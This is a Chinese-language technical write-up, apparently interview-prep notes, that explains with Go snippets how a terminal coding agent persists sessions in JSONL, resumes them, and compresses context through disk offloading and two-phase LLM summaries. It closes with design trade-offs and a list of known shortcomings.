为什么 JSONL 天然支持「从标记之后读」? 因为追加写的特性——压缩之后的对话就是直接追加在文件末尾的,不需要重写文件。老内容留在文件里(成为了「压缩前的历史」),但恢复时被忽略。这是追加写模型带来的免费能力:如果用单文件覆盖写(比如一个 JSON 数组),每次压缩都要重写整个文件,而且重写过程中崩溃就全丢了。

坏行跳过为什么是 continue 而不是报错? 因为崩溃时最后一行大概率是坏的(写到一半被 kill)。如果报错,用户就永远恢复不了这个会话。跳过一行代价极小(少一条消息),收益是「总能恢复」。

孤立工具调用截断:

go
// TruncateOrphanedToolCalls 如果最后一条消息是带 tool_calls 的 assistant,
// 但后面没有对应的 tool 消息,则截断该条。
func TruncateOrphanedToolCalls(msgs []llm.Message) []llm.Message {
	if len(msgs) == 0 { return msgs }
	last := msgs[len(msgs)-1]
	if last.Role == llm.RoleAssistant && len(last.ToolCalls) > 0 {
		return msgs[:len(msgs)-1]
	}
	return msgs
}

为什么会出现这种情况? 正常的循环里,AddAssistantWithToolCalls 之后必然跟着 AddToolResults。但如果进程在两者之间崩溃,JSONL 里就只剩前一半。带着这个残缺历史发请求,Anthropic 会报「tool_use 没有对应的 tool_result」。

处理方式是「丢掉最后那条 assistant」而不是「补一个假结果」。理由:模型会在下一轮重新决定调什么工具,丢一条的代价比伪造一个「[已丢失]」的结果小。

会话列举(list.go):

go
// ListSessions 扫描 sessionsDir,返回按修改时间倒序排列的会话列表。
// 只返回包含 conversation.jsonl 且 ID 能解析为新格式的目录。

标题的提取方式很有意思——读第一条 role=user 的消息,截断到 50 个字符:

go
			title = entry.Content
			runes := []rune(title)
			if len(runes) > 50 { title = string(runes[:50]) + "..." }

注意用 []rune 而不是 []byte ——中文一个字符 3 字节,按字节截断会把汉字切碎变成乱码。

而且它边读边 break:

go
		if title != "" && model != "" { break }     // ← 拿到标题和模型就停,不读完整个文件

为什么只读开头? 因为一个长会话的 JSONL 可能几 MB。列表里可能有几十个会话,全读一遍就是几百 MB 的 IO。列表是高频操作,必须快。

清理(cleanup.go):

go
func CleanExpired(sessionsDir string, maxAge time.Duration) error {
	entries, err := os.ReadDir(sessionsDir)
	if err != nil { if os.IsNotExist(err) { return nil }; return err }

	now := time.Now()
	for _, entry := range entries {
		if !entry.IsDir() { continue }
		id := entry.Name()
		t, err := compact.ParseSessionTime(id)
		if err != nil { continue }                    // 旧格式跳过
		if now.Sub(t) > maxAge {
			os.RemoveAll(sessionsDir + "/" + id)
		}
	}
	return nil
}

调用点(main.go):

go
	sessionsDir := filepath.Join(root, ".mewcode", "sessions")
	go func() {
		if err := session.CleanExpired(sessionsDir, 30*24*time.Hour); err != nil {
			fmt.Fprintf(os.Stderr, "[session] 过期会话清理失败: %v\n", err)
		}
	}()

为什么放 goroutine? 因为它要遍历目录 + RemoveAll,是纯 IO 操作,不该拖慢启动。而且它失败也无所谓(打条日志),所以 fire-and-forget 是合适的。

注意它是「后台异步」而不是「定时任务」:每次启动跑一次。也就是说,如果一个用户启动一次之后挂了 40 天不关,那 40 天里不会清理。对这个场景够用——终端工具的生命周期就是一次使用。

恢复流程(internal/tui/resume.go) ​

用户输入 /resume 后的完整链路:

  1. OpenResumeMenu() → state = stateResuming + 异步加载列表(tea.Cmd,不阻塞 UI)
  2. session.ListSessions(sessionsDir) → 包装成 bubbles/list 模型,支持 ↑↓ 导航 + 输入过滤 + Enter 选择 + Esc 取消
  3. Enter 后 doResumeSession(info) → 异步执行 7 步:
① session.LoadSession(info.Dir)              读消息(从最后一个 compact 标记后,跳坏行,截孤立调用)
② token 估算 + 超阈值压缩
③ 时间跨度提醒(>6h 追加一条系统提示)
④ compact.OpenSessionContext(root, info.ID)  重建 SessionContext(含 SpillDir)
⑤ session.OpenWriter(info.Dir)               以追加模式重开 JSONL
⑥ conversation.NewFromMessages(msgs, writer.OnAppend, writer.OnReplace)
⑦ 返回 resumeDoneMsg

第 ② 步的细节(这是简历里「Token 超限自动压缩」的落点):

go
	est := estimateTokens(msgs)
	if est > int64(runtime.ContextWindow - 8000) {
		// 用临时 Conversation 调 m.ag.RunForceCompact(...),成功则用压缩后的消息
	}

是「恢复时立刻压」而不是「等下一轮再压」。为什么?因为如果恢复一个 15 万 token 的会话,用户第一条消息可能就会触发压缩——那样用户会看到「我什么都没干,怎么就压缩了」。在恢复的那一刻压,用户能看到「已恢复 + 已压缩」的明确提示,体验更可预期。

这里有个不一致的地方:resume.go 的 estimateTokens 用的是 chars * 0.25(即 4 字符/token),而 compact 包里用的是 3.5 字符/token。两处系数不同。

为什么会有这个不一致? 显然是两处独立实现的。实际影响:resume 的估算偏高(4 > 3.5,同样的字符数算出更多 token),所以压缩更容易被触发——偏保守,不会漏压。方向上是安全的,但这是个应该统一的地方。被追问时要承认。

第 ③ 步的时间跨度提醒:

go
		if elapsed := time.Since(info.ModifiedAt); elapsed > 6*time.Hour {
			// 追加 llm.Message{Role: RoleUser,
			//   Content: "[系统提示] 本会话已暂停 %s。部分上下文可能已过时,如需最新信息请重新读取相关文件。"}
		}

为什么需要这个? 因为 Agent 的历史里有大量「文件内容的快照」。一个 6 小时前的会话恢复后,那些文件可能已经被改过了。如果不提醒,模型会基于过期内容推理——这比没有上下文更危险。

这个设计的思想是「不要假装上下文还有效」。同类设计还有压缩后的恢复段里那句边界提示(见下文)。

第 ⑤ 步的顺序要求(代码注释强调):

必须在构造 Conversation 之前,保证 onAppend/onReplace 绑到恢复后的 JSONL

因为 Conversation 的回调是构造时注入的,如果先构造 Conversation 再换 writer,回调还指向旧的 writer,恢复后新增的消息会写回旧会话文件——这是个很容易犯的错。

上下文压缩:第一层(本地,不打 LLM) ​

常量(compact/const.go):

go
	// 单条工具结果超过此字节数时触发落盘替换
	singleResultLimit = 50000
	// 单条 RoleTool 消息内工具结果聚合字节数超过此阈值时触发落盘
	messageAggregateLimit = 200000
	previewHeadBytes = 2048
	previewHeadLines = 20

算法(layer1.go:OffloadAndSnip):

对每条 RoleTool 消息:
  1. 已决策项(在账本里)直接取账本结果;未决策项收集起来
  2. 未决策项按字节数倒序排序                    ← 大的优先处理
  3. 计算未决策项的聚合字节数 remaining
  4. 按倒序逐项处理:
       needSpill = 单条 > 50000  OR  聚合 remaining > 200000
       是 → 落盘 + 替换为预览,remaining -= 该项大小
       否 → 记账为「保留」

用倒序处理的原因:先把大块搬走,remaining 掉得快,可能后面几个小块就不用搬了。如果按正序处理,可能搬了一堆小块才发现总量超标——搬得越多,历史里留下的预览占位越多,信息损失越大。这是个不小的优化。

替换后的预览长这样(buildPreview):

[content offloaded] original size: 123456 bytes
[saved to] /path/to/.mewcode/sessions/<id>/tool-results/<tool_use_id>
[head preview]
<前 20 行 / 前 2048 字节>

完整内容已保存到上述路径,如需查看请用文件读取工具读取该路径,不要凭头部预览猜测全文

最后那句话是刻意设计的。模型看到预览会以为「这就是全部内容」,从而基于截断的头部做推理。**显式告诉它「不要猜,要读原文」**是提示工程的一部分。

内容替换决策账本(ContentReplacementState)——这是第一层最精妙的设计:

go
// ContentReplacementState 会话级工具结果替换决策账本。
// seenIds 记录已决策的 tool_use_id;replacements 保存决定替换的预览字符串。
// 同一 id 一旦进入 seenIds 就不可翻转。
type ContentReplacementState struct {
	mu           sync.Mutex
	seenIds      map[string]struct{}
	replacements map[string]string
}

// DecideOnce 在持锁状态下完成"查账本 → 决策 → 写账本"原子操作。
// decide 回调在持锁时调用,返回 (decision, preview):
//   - "kept": 写 seenIds,不写 replacements,返回原 content
//   - "replaced": 写 seenIds + replacements,返回 preview
//   - "skip": 不写账本,返回原 content(下一轮可重试)
func (s *ContentReplacementState) DecideOnce(id, original string, decide func() (decision, preview string)) string

为什么需要账本?「同一 id 一旦决策就不可翻转」解决什么问题?

ManageContext 是每一轮都调用的。如果每次都用「当前字节数」重新决策,会出现这种情况:

  • 第 5 轮:结果 60000 字节 > 50000 → 落盘替换,历史里变成 2KB 预览
  • 第 6 轮:历史里这条现在是 2KB → 不大于阈值 → 决策为「保留」→ 但它已经不是原文了

如果不用账本,就会出现「同一份历史在不同轮次里内容不一致」的情况。这会直接破坏 Prompt Cache(前缀变了,后面全失效),而且更要紧的是:模型的视野在轮与轮之间悄悄变化了——它上一轮看到的完整内容,这一轮变成了预览,模型会困惑。

账本的做法是「决策一次,永久生效」:第一次决策时把结论(含预览字符串)记下来,后面每轮直接取账本结果。这样历史内容在轮次之间是稳定的。

DecideOnce 的原子性:回调在持锁时执行——这是个不寻常的设计(通常我们会避免在持锁时执行用户回调)。这里刻意这么做,是为了保证「查账本 → 决策 → 写账本」三步是原子的。回调里的操作是「写文件 + 拼字符串」,都在本地,不会有重入风险。

「skip」状态的用途:落盘失败时返回 skip,不写账本——这样下一轮可以重试。如果写失败也记账为「已决策」,内容会永远保持原样且再也不会尝试压缩,最终爆窗口。

上下文压缩:第二层(LLM 摘要) ​

触发阈值(compact.go:manageAuto):

go
	threshold := in.ContextWindow - SummaryReserve - AutoSafetyMargin
	// = ContextWindow - 20000 - 13000
	if estTokens < int64(threshold) || in.AutoTracking.Tripped() {
		out.AfterTokens = estTokens
		return out, nil                              // ← 未达阈值或熔断中,只让 layer1 生效
	}

以 200K 窗口为例:200000 - 20000 - 13000 = 167000。也就是用到 83.5% 才触发摘要。

为什么留 33000 的余量? 两个原因:

  • SummaryReserve = 20000:摘要请求自己也要发一次 LLM 请求,而且它要把整段历史塞进去。所以必须给它留出输入空间,还要留出摘要输出的空间。
  • AutoSafetyMargin = 13000:吃掉 token 估算的误差。我的估算是「真实 usage + 字符数/3.5」,中文场景会低估。

摘要 prompt 的两阶段设计(summary_prompt.go):

## Phase 1: Analysis (will be discarded)
Write your analysis draft inside <analysis> tags. Think through:
- What was the user trying to accomplish?
- What key decisions were made?
- What files were modified or read?
- What errors were encountered and how were they fixed?
- What is the current state of work?

## Phase 2: Formal Summary (will be kept)
Write the formal summary inside <summary> tags. Follow these 9 sections exactly:

## 1 主要请求和意图
## 2 关键技术概念
## 3 文件和代码段
## 4 错误和修复
## 5 问题解决过程
## 6 所有用户消息原文
## 7 待办任务
## 8 当前工作(最详细)
## 9 可能的下一步

「Phase 1 会被丢弃」是刻意的——它用的是 Chain-of-Thought 的思路:先让模型自由分析一遍(这部分输出我们不保留),再产出结构化摘要。这样摘要质量明显更好。

为什么是「9 个固定小节」而不是「让模型自由总结」? 因为自由总结会漏掉关键信息——典型的漏项是「用户的原始措辞」和「待办任务」。固定小节是用结构强制覆盖那些容易被忽略的维度。

第 6 节「所有用户消息原文」特别重要:用户的原始措辞携带了摘要无法替代的信息(比如「我不要那个方案,我要另一个」里的「那个」指代什么)。所以我要求原文保留。

第 8 节标了「最详细」:因为恢复后会话要继续,模型最需要知道的就是「现在进行到哪一步了」。

摘要的提取(ExtractSummary):

go
	start := strings.Index(raw, "<summary>")
	if start == -1 { return raw }           // ← 找不到标签降级用原文
	...
	return strings.TrimSpace(raw[start : start+end])

降级策略很重要:如果模型没按格式输出(比如它拒绝用标签),直接把原文当摘要用,而不是报错放弃压缩。压缩失败会导致爆窗口,比摘要质量差严重得多。

三段恢复附件(recovery.go:BuildRecoveryAttachment):

go
	// 第一段:最近读过的文件快照
	b.WriteString("## 最近读过的文件\n")
	// 第二段:当前可用工具列表
	b.WriteString("\n## 当前可用工具\n")
	// 第三段:边界提示
	b.WriteString("\n")
	b.WriteString(boundaryNotice)

boundaryNotice 原文:

## 重要提示

请注意:以上摘要仅用于提供上下文脉络。如果你需要获取文件的完整内容、确切的错误信息、或用户的原始措辞,请使用文件读取工具重新读取对应路径。不要依据摘要中的描述做代码推断或猜测。

为什么需要这三段? 因为摘要是会失真的——它是模型对另一个模型输出的压缩,必然有信息损失。三段分别补三个最关键的缺口:

  • 文件快照(recoveryFileLimit = 5 个,每个 recoveryTokensPerFile = 5000 token):摘要里说的「修改了 handler.go」不如文件的实际内容有用。这 5 个是最近读过的——按时间戳倒序(RecoveryState.Snapshot() 里 sort.Slice 按 Timestamp.After)。
  • 工具列表:因为摘要产出时是过去,模型可能忘了自己有什么工具可用。
  • 边界提示:这是最重要的一段,明确告诉模型「摘要不可信,要读原文」。

文件快照从哪来? Agent 主循环里的 recordFileReads:

go
// recordFileReads 在工具结果回灌前记录 ReadFile 调用的纯净字节。
func (a *Agent) recordFileReads(calls []llm.ToolCall, results []llm.ToolResult) {
	for i := range calls {
		if calls[i].Name != "read_file" { continue }
		if i >= len(results) || results[i].IsError { continue }
		// 解析 path → 读文件 → a.runtime.Recovery.RecordFile(absPath, string(b))
	}
}

注意它是「重新读一遍文件」(os.ReadFile)而不是从工具结果里取。为什么?因为 read_file 工具的返回带行号前缀(%6d\t%s),带行号的内容塞进恢复段会让模型困惑。重读一遍拿到纯净字节,代价是多一次文件读取。

快照的时机(代码注释):snapshot 由调用方在摘要入口一次性拍好,避免渲染期间状态漂移。

go
	// 入口拍快照,整个 runSummary 生命周期只用这一份
	recoverySnapshot := in.Recovery.Snapshot()

为什么必须拍快照? 摘要是一个耗时的 LLM 调用(几秒到几十秒)。这期间主循环在别的地方可能还在调 RecordFile。如果不拍快照,恢复段的内容会在渲染过程中变化——变成一份「东拼西凑」的混合状态。

近期原文保留(pickRecentTail):

go
	// 两个下界都满足后才停手("择宽"语义)
	for i := len(msgs) - 1; i >= 0; i-- {
		// 累加字符数 + 计数
		if estTokens >= recentKeepTokens && count >= recentKeepMessages { break }
	}
	// 配对修正:若截断点夹在 tool_use/tool_result 中间,向前推到 assistant 之前
	if startIdx < len(msgs) && msgs[startIdx].Role == llm.RoleTool {
		for startIdx > 0 {
			startIdx--
			if msgs[startIdx].Role == llm.RoleAssistant && len(msgs[startIdx].ToolCalls) > 0 { break }
		}
	}

recentKeepTokens = 10000,recentKeepMessages = 5,两个条件都要满足(注释叫「择宽」语义)。

为什么保留近期原文? 因为最近的上下文对当前任务最相关。如果全部换成摘要,模型会「失忆」——它不知道该接着哪往下做。这是「摘要 + 滑窗」的混合策略。

「配对修正」是关键:如果截断点落在 tool_use(assistant)和 tool_result(tool)之间,就会得到一个「请求了工具但没有结果」的历史——Anthropic 直接 400。所以要么把 assistant 也包进来,要么整个丢掉工具回合。代码选择向前推进到包含那个 assistant。

摘要请求自身的 PTL 重试(layer2.go:ptlRetry):

go
// ptlRetry 摘要请求自身 PTL 的重试策略:
//
//	前 3 次:每次丢最旧的 1 组
//	之后:按 20% 比例丢(至少 1 组)
//	直到成功或全部丢光
func ptlRetry(ctx context.Context, in ManageInput, msgs []llm.Message) (string, error) {
	groups := groupByUserTurn(msgs)

	for retry := 0; retry < ptlRetryLimit && len(groups) > 1; retry++ {
		groups = groups[1:]                  // 丢最旧 1 组
		if summary, err := summarizeOnce(ctx, in, flattenGroups(groups)); err == nil { return summary, nil }
	}

	for len(groups) > 1 {
		drop := int(math.Ceil(float64(len(groups)) * ptlDropPercentage))   // 20%
		...
	}
	return "", context.DeadlineExceeded     // sentinel: 全部丢光
}

这个设计要解决什么问题? 极端情况——历史长到连摘要请求本身都超窗口。此时摘要就永远发不出去,压缩永远失败,死锁。

分段策略的智慧:前 3 次「每次只丢一组」是保守的(尽量多保留信息);如果还不行,说明差得很远,就按 20% 大步丢,快速收敛。这是「先小步试探、再大步跨越」的经典重试策略。

分组依据是「用户回合」(groupByUserTurn)而不是「单条消息」——因为一条 assistant 的 tool_use 和后续的 tool_result 必须成对处理,拆开会产生非法历史。

熔断器(state.go:AutoCompactTrackingState):

go
const maxConsecutiveAutoCompactFailures = 3

// AutoCompact 自动摘要:成功后清零失败计数;整轮失败累加失败计数。
func AutoCompact(...) {
	newMsgs, err := runSummary(ctx, in)
	if err != nil {
		in.AutoTracking.RecordFailure()      // ← 失败累加
		return nil, beforeTok, 0, err
	}
	in.AutoTracking.RecordSuccess()          // ← 成功清零
	...
}

// ForceCompact 手动/紧急摘要:不走熔断器,失败不计入熔断计数。

为什么需要熔断? 假设摘要一直失败(比如模型服务挂了、或者 API key 余额不足)。如果不熔断,每一轮循环都会尝试一次摘要——每轮多花一次失败的请求、多几秒延迟,而且永远卡在「压缩不成功 → 下一轮又试」的状态。熔断让它彻底放弃自动压缩,用户看到的是「上下文满了报错」,而不是「每轮都卡十秒」。

关键设计:手动和紧急路径不计入熔断。ForceCompact 不记录失败。原因:如果用户手动 /compact 失败了,他应该能再试一次——不能被之前的失败计数挡住。而紧急压缩(收到 ErrPromptTooLong 之后)是最后一道防线,如果因为熔断跳闸而不执行,用户就彻底没救了。

Token 估算:锚点 + 增量 ​

go
// EstimateTokens 锚定最近一次 provider usage + 之后新增消息的字符增量。
// 返回 anchor + ceil(sum(chars(allMsgs[anchorMsgLen:])) / estimateCharsPerToken)
func EstimateTokens(anchor int64, allMsgs []llm.Message, anchorMsgLen int) int64 {
	var tail []llm.Message
	if anchorMsgLen < len(allMsgs) { tail = allMsgs[anchorMsgLen:] }
	chars := messageChars(tail)
	return anchor + int64(math.Ceil(float64(chars)/estimateCharsPerToken))   // 3.5
}

这个设计的核心:误差不累积。

  • 锚点:每次主对话路径的 Stream 结束后,用 provider 返回的真实 usage 更新锚点:
go
// UsageAnchor 将 Stream 尾事件中的 usage 合并成单一锚点值。
func UsageAnchor(u *llm.Usage) int64 {
	return u.InputTokens + u.OutputTokens + u.CacheWrite + u.CacheRead
}
  • 增量:锚点之后新增的消息,按字符数 / 3.5 估算。

为什么把 4 个 token 字段全加起来? 因为它们都是「这一轮实际消耗的输入侧 token」。CacheRead 特别重要——它代表被缓存的部分,但这部分 token 依然占上下文窗口。如果只算 InputTokens,命中缓存时会严重低估。

「误差不累积」为什么重要? 如果每轮都在上一轮的估算值上叠加,误差会指数放大,10 轮之后完全不准。而「锚点 + 增量」保证每一轮都被真实值重新校准——上一次 stream 结束就拿到真实 usage 了,所以估算误差只覆盖「本轮新增的那几条消息」。

一个细节:摘要请求的 usage 不更新锚点(代码注释:「摘要请求不更新 SessionRuntime」)。因为摘要是另一个对话(只有一条 user 消息),它的 usage 跟主对话的上下文长度无关。

压缩的触发时机(三条路径) ​

触发入口行为
自动Agent.Run 每轮开始layer1 → 重估 → 超阈值才 layer2;受熔断约束
手动/compact 命令 → RunForceCompact跳过 layer1、跳过阈值判断、跳过熔断,直接摘要
紧急收到 ErrPromptTooLong先强制 layer1,再无条摘要;不计入熔断

自动路径的 ManageContext 里,layer1 必须先做(代码注释):

go
	// a. 执行 layer1(必须先做,因为 layer1 节省的 token 需要反映在阈值判断里)
	layer1Out, _ := OffloadAndSnip(in.Conv.Messages(), in.Replacement, in.Session)
	in.Conv.ReplaceMessages(layer1Out)

	// b. 用 layer1 之后的 updatedMsgs 重算估算 token
	estTokens := EstimateTokens(in.UsageAnchor, layer1Out, in.AnchorMsgLen)

顺序不能反:如果先判断阈值再压 layer1,那么「其实 layer1 就够了的场景」会白跑一次 LLM 摘要。这个顺序本身就是一个优化。

紧急压缩的完整流程(agent.go:283-313):

go
	if sErr != nil && errors.Is(sErr, llm.ErrPromptTooLong) && !emergencyRetried {
		out2, fErr := compact.ManageContext(ctx, compact.ManageInput{... Trigger: compact.TriggerEmergency})
		if fErr != nil { emit(Err); return }

		a.runtime.ResetAnchor()                                  // ← 锚点失效,重置
		est2 := compact.EstimateTokens(0, conv.Messages(), 0)
		if est2 >= int64(cw - compact.ManualSafetyMargin) {     // 只留 3000 余量
			emit(ctx, ch, Event{Err: sErr}); return              // 压了还是不够 → 放弃
		}
		emergencyRetried = true
		text, calls, usage, sErr = streamOnce(...)               // ← 重发一次
	}

emergencyRetried 标志保证只重试一次。如果压缩后还超(est2 >= cw - 3000),就不再重试,直接报错。否则可能无限循环。

ResetAnchor() 是必须的——因为历史被重写了,之前的锚点对应的消息长度完全对不上,继续用会算出天文数字。

④ 设计权衡 ​

权衡 1:为什么用 JSONL 而不是 SQLite? ​

维度JSONLSQLite
依赖无(标准库)需要一个 CGO 依赖或纯 Go 实现
崩溃安全追加写,最坏丢最后一行需要 WAL 配置,但能做到更强
可观测性tail -f 直接看需要工具
追加/查询追加 O(1),查询要全扫都有索引
二进制体积+1.5MB(纯 Go SQLite 实现)

对这个场景,查询需求几乎是零——我们只需要「列出会话(按时间)」和「读某个会话」。这两个操作用目录扫描 + 文件读就够了,不需要 SQL。

真正让我选 JSONL 的是「崩溃安全 + 零依赖 + 可观测」这三点。特别是可观测——调试 Agent 的时候,能直接 tail -f 看每一轮的消息流动,这个体验太好了。

什么时候该换 SQLite? 当需要「跨会话搜索」(比如「找出所有讨论过 auth 模块的会话」)的时候。那时候全扫 JSONL 就是 O(会话数 × 文件大小),必须上索引。

权衡 2:为什么每次写都 fsync,而不是攒一批? ​

fsync 的代价:每次 1–10ms。一轮对话假设有 10 条消息(assistant + tool results + …),就是 10–100ms 的额外开销。

收益:进程被 kill -9 时最多丢一行。

为什么我认为值得? 因为终端 Agent 是长时间交互的工具,会话历史就是用户的工作成果。用户按 Ctrl+C 或者电脑休眠、终端崩溃,都不该丢对话。而 100ms 对一轮几秒的对话来说完全无感。

如果要优化:可以用「定时批量 fsync」(比如每 100ms 一次),代价是崩溃时可能丢最近 100ms 的消息。对这个场景不值得——正确性优先于 100ms 的性能。

权衡 3:为什么第一层压缩用「落盘 + 预览」而不是直接丢弃或截断? ​

直接丢:模型彻底失去这个信息,只能重新读文件。但如果是搜索结果、命令输出这类不可重现的内容(比如 go test 的输出、某个动态查询的结果),重新拿到的可能不一样。 直接截断:模型会以为截断后的内容就是全部,基于残缺信息推理。 落盘 + 预览 + 明确指引:信息没丢(模型可以按路径读回),同时它明确知道自己看的是预览,不会误判。

这个设计的本质是「无损降级」——用一次额外的工具调用换取信息的完整性。

代价:tool-results/ 目录会持续增长。但这个我通过「30 天会话清理」一起解决了——会话目录被删的时候,tool-results/ 是它的子目录,会被一起删掉。

权衡 4:为什么摘要要分「分析 + 正式」两阶段,而不是直接要正式摘要? ​

因为 Chain-of-Thought 的收益在压缩任务上同样成立。让模型先自由梳理一遍再产出结构化结果,比直接要求结构化输出的质量高得多——这是被我自己的实测验证过的。

代价是多输出一些 token(<analysis> 那段)。但这些 token 在摘要请求的输出侧,不影响主对话的上下文,而且只花一次。

权衡 5:熔断为什么是「连续 3 次」而不是立即熔断? ​

因为失败可能是瞬时的——网络抖动、模型限流、临时 5xx。立即熔断意味着一次抖动就永久失去自动压缩能力。3 次给了容错空间。

而为什么是 3 不是 10? 因为每次失败都是一次真实的 API 调用尝试(有延迟、有成本)。3 次就是「连续 3 轮循环各失败一次」——大概 30 秒。这个时间尺度上,如果还在失败,说明不是抖动而是真故障。

⑤ 备注与坑 ​

坑详情应对
compact / session / llm 三个包无单测恰好是简历第 1 和第 5 条见 00 软肋 1,主动承认 + 给补救方案
token 估算系数不一致compact 用 3.5 字符/token,resume.go 用 chars * 0.25(4 字符/token)主动说:「这是个应该统一的地方。方向上 resume 偏保守(估得多、更容易触发压缩),所以不会漏压,但两个系数应该收敛成一个共享常量。」
「恢复时立刻压缩」的阈值是 ContextWindow - 8000与 compact 的 -33000 不同「两个场景不一样:恢复时是要把一份静止的历史压到能继续用,只留 8000 余量就够;而运行中的自动压缩要给摘要请求本身留 20000,再留 13000 的安全余量。语义不同,所以阈值不同。」
Writer 的错误被忽略_ = w.Append(...)「对话能继续比日志写成功重要。但确实应该把写失败至少展示成一个 Notice 事件,现在用户完全无感。这是个缺陷。」
摘要的 9 个小节是硬编码中文prompt 里明确要求「用用户消息的语言写」「小节标题是中文的,但 prompt 里要求『用用户的语言输出正文』。如果用户全程说英文,标题和中英混排会有点怪。理想做法是标题本身也本地化。」
压缩标记后老内容不删JSONL 会持续增长(旧历史 + 新历史都在文件里)「是有意的——保留完整审计轨迹,而且 30 天清理会一起删掉。代价是文件可能到几 MB。」

➡️ 下一篇:03-面试题库-协议与Agent循环.md

持续学习,持续构建。